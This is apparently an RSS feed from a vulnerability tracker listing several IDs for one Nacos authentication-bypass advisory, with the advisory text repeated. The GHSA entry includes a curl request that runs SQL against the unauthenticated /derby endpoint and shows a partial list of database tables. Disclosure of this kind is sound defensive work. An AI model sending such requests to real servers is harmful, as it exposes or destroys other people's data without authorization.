Most recent entries from all https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 16:05:14 +0000 cnvd-2021-34116 https://cve.radiocsirt.org/vuln/cnvd-2021-34116 cnvd-2021-34116 https://cve.radiocsirt.org/vuln/cnvd-2021-34116 EUVD-2026-26356 https://cve.radiocsirt.org/vuln/euvd-2026-26356 EUVD-2026-26356 https://cve.radiocsirt.org/vuln/euvd-2026-26356 fkie_cve-2021-29442 https://cve.radiocsirt.org/vuln/fkie_cve-2021-29442 <p>Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)</p> <p>Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)</p> https://cve.radiocsirt.org/vuln/fkie_cve-2021-29442 GHSA-xv5h-v7jh-p2qh — Authentication bypass for specific endpoint https://cve.radiocsirt.org/vuln/ghsa-xv5h-v7jh-p2qh <p><strong>Affected:</strong> Maven: com.alibaba.nacos:nacos-common</p> <p>The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users.</p> <p>For example, the following request will list the tables of the database: ``` ❯ curl -X GET &#39;http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st&#39; {&#34;code&#34;:200,&#34;message&#34;:null,&#34;data&#34;:[{&#34;TABLENAME&#34;:&#34;APP_CONFIGDATA_RELATION_PUBS&#34;},{&#34;TABLENAME&#34;:&#34;APP_CONFIGDATA_RELATION_SUBS&#34;},{&#34;TABLENAME&#34;:&#34;APP_LIST&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO_AGGR&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO_BETA&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO_TAG&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_TAGS_RELATION&#34;},{&#34;TABLENAME&#34;:&#34;GROUP_CAPACITY&#34;},{&#34;TABLENAME&#34;:&#34;HIS_CONFIG_INFO&#34;},{&#34;TABLENAME&#34;:&#34;PERMISSIONS&#34;},{&#34;TABLENAME&#34;:&#34;ROLES&#34;},{&#34;TABLENAME&#34;:&#34;SYSALIASES&#34;},{&#34;TABLENAME&#34;:&#34;SYSCHECKS&#34;},{…</p> <p><strong>Affected:</strong> Maven: com.alibaba.nacos:nacos-common</p> <p>The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users.</p> <p>For example, the following request will list the tables of the database: ``` ❯ curl -X GET &#39;http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st&#39; {&#34;code&#34;:200,&#34;message&#34;:null,&#34;data&#34;:[{&#34;TABLENAME&#34;:&#34;APP_CONFIGDATA_RELATION_PUBS&#34;},{&#34;TABLENAME&#34;:&#34;APP_CONFIGDATA_RELATION_SUBS&#34;},{&#34;TABLENAME&#34;:&#34;APP_LIST&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO_AGGR&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO_BETA&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_INFO_TAG&#34;},{&#34;TABLENAME&#34;:&#34;CONFIG_TAGS_RELATION&#34;},{&#34;TABLENAME&#34;:&#34;GROUP_CAPACITY&#34;},{&#34;TABLENAME&#34;:&#34;HIS_CONFIG_INFO&#34;},{&#34;TABLENAME&#34;:&#34;PERMISSIONS&#34;},{&#34;TABLENAME&#34;:&#34;ROLES&#34;},{&#34;TABLENAME&#34;:&#34;SYSALIASES&#34;},{&#34;TABLENAME&#34;:&#34;SYSCHECKS&#34;},{…</p> https://cve.radiocsirt.org/vuln/ghsa-xv5h-v7jh-p2qh gsd-2021-29442 https://cve.radiocsirt.org/vuln/gsd-2021-29442 gsd-2021-29442 https://cve.radiocsirt.org/vuln/gsd-2021-29442